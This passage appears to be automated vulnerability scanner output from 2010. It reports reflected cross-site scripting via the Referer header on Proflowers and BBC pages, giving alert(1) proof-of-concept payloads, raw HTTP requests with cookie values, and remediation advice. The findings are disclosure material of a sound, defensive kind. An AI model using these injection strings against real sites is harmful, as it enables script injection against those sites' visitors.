The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /lilies/100-Blooms-of-Holiday-Cheer-40841 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=a42bd\"%3balert(1)//8b2c2e816a1
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b4402\"%3balert(1)//fb296867e10 was submitted in the Referer HTTP header. This input was echoed as b4402\\";alert(1)//fb296867e10 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /lilies/Deluxe-Fragrant-Stargazer-Lilies-41360 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=b4402\"%3balert(1)//fb296867e10
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ebbde\"%3balert(1)//66740408124 was submitted in the Referer HTTP header. This input was echoed as ebbde\\";alert(1)//66740408124 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /lilies/Sympathy-Lilies-30002099 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=ebbde\"%3balert(1)//66740408124
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c22c7\"%3balert(1)//91b449de02f was submitted in the Referer HTTP header. This input was echoed as c22c7\\";alert(1)//91b449de02f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /lilies/Thinking-of-You-41407 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=c22c7\"%3balert(1)//91b449de02f
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f4fee\"%3balert(1)//2d77d2953f6 was submitted in the Referer HTTP header. This input was echoed as f4fee\\";alert(1)//2d77d2953f6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /plants/Candy-Cane-Christmas-Cactus-30045302 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=f4fee\"%3balert(1)//2d77d2953f6
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33a9e\"%3balert(1)//d40c6d94e58 was submitted in the Referer HTTP header. This input was echoed as 33a9e\\";alert(1)//d40c6d94e58 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /pottedroses/Potted-Red-Roses-496 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=33a9e\"%3balert(1)//d40c6d94e58
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6a601\"%3balert(1)//0f3b7296fd4 was submitted in the Referer HTTP header. This input was echoed as 6a601\\";alert(1)//0f3b7296fd4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /roses/12-Candy-Cane-Roses-30045610 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=6a601\"%3balert(1)//0f3b7296fd4
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1b876\"%3balert(1)//62707b61057 was submitted in the Referer HTTP header. This input was echoed as 1b876\\";alert(1)//62707b61057 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /roses/One-Dozen-Assorted-Christmas-Lights-Roses--12-FREE-6338 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=1b876\"%3balert(1)//62707b61057
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4558a\"%3balert(1)//b45874befa4 was submitted in the Referer HTTP header. This input was echoed as 4558a\\";alert(1)//b45874befa4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /roses/One-Dozen-Assorted-Christmas-Lights-Roses-40794 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=4558a\"%3balert(1)//b45874befa4
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c1ce2\"%3balert(1)//12e18abeff3 was submitted in the Referer HTTP header. This input was echoed as c1ce2\\";alert(1)//12e18abeff3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /roses/One-Dozen-Long-Stemmed-Pink-Roses-1016 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=c1ce2\"%3balert(1)//12e18abeff3
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d9671\"%3balert(1)//809cc07fb99 was submitted in the Referer HTTP header. This input was echoed as d9671\\";alert(1)//809cc07fb99 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /roses/One-Dozen-Long-Stemmed-Red-Roses-503 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=d9671\"%3balert(1)//809cc07fb99
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 37f37\"%3balert(1)//6f1e2757247 was submitted in the Referer HTTP header. This input was echoed as 37f37\\";alert(1)//6f1e2757247 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /roses/One-Dozen-Long-Stemmed-Yellow-Roses-41197 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=37f37\"%3balert(1)//6f1e2757247
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b69d3\"%3balert(1)//24889ffafa8 was submitted in the Referer HTTP header. This input was echoed as b69d3\\";alert(1)//24889ffafa8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /roses/Two-Dozen-Long-Stemmed-Red-Roses-504 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=b69d3\"%3balert(1)//24889ffafa8
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b4da9\"%3balert(1)//2d638f90e8d was submitted in the Referer HTTP header. This input was echoed as b4da9\\";alert(1)//2d638f90e8d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /roses/Two-Dozen-Red-Roses-8096 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=b4da9\"%3balert(1)//2d638f90e8d
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 12ce8'-alert(1)-'4439ec4a76f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /go/homepage/i/int/br/ent/head/t/-/entertainment/ HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=12ce8'-alert(1)-'4439ec4a76f
Response (redirected)
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:30:33 GMT Keep-Alive: timeout=10, max=723 Expires: Thu, 16 Dec 2010 19:30:33 GMT Connection: close Content-Length: 57182
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a28fe'-alert(1)-'474f01a1e66 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/ HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=a28fe'-alert(1)-'474f01a1e66
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:54 GMT Keep-Alive: timeout=10, max=738 Expires: Thu, 16 Dec 2010 19:27:54 GMT Connection: close Content-Length: 93405
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2d00a'-alert(1)-'fc97e52050f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12005593 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=2d00a'-alert(1)-'fc97e52050f
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:12 GMT Keep-Alive: timeout=10, max=798 Expires: Thu, 16 Dec 2010 19:28:12 GMT Connection: close Content-Length: 69661
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d6978'-alert(1)-'a22ac77b214 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12006544 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=d6978'-alert(1)-'a22ac77b214
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:29 GMT Keep-Alive: timeout=10, max=745 Expires: Thu, 16 Dec 2010 19:28:29 GMT Connection: close Content-Length: 56468
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6886a'-alert(1)-'a8b738531d9 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12006764 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=6886a'-alert(1)-'a8b738531d9
Response
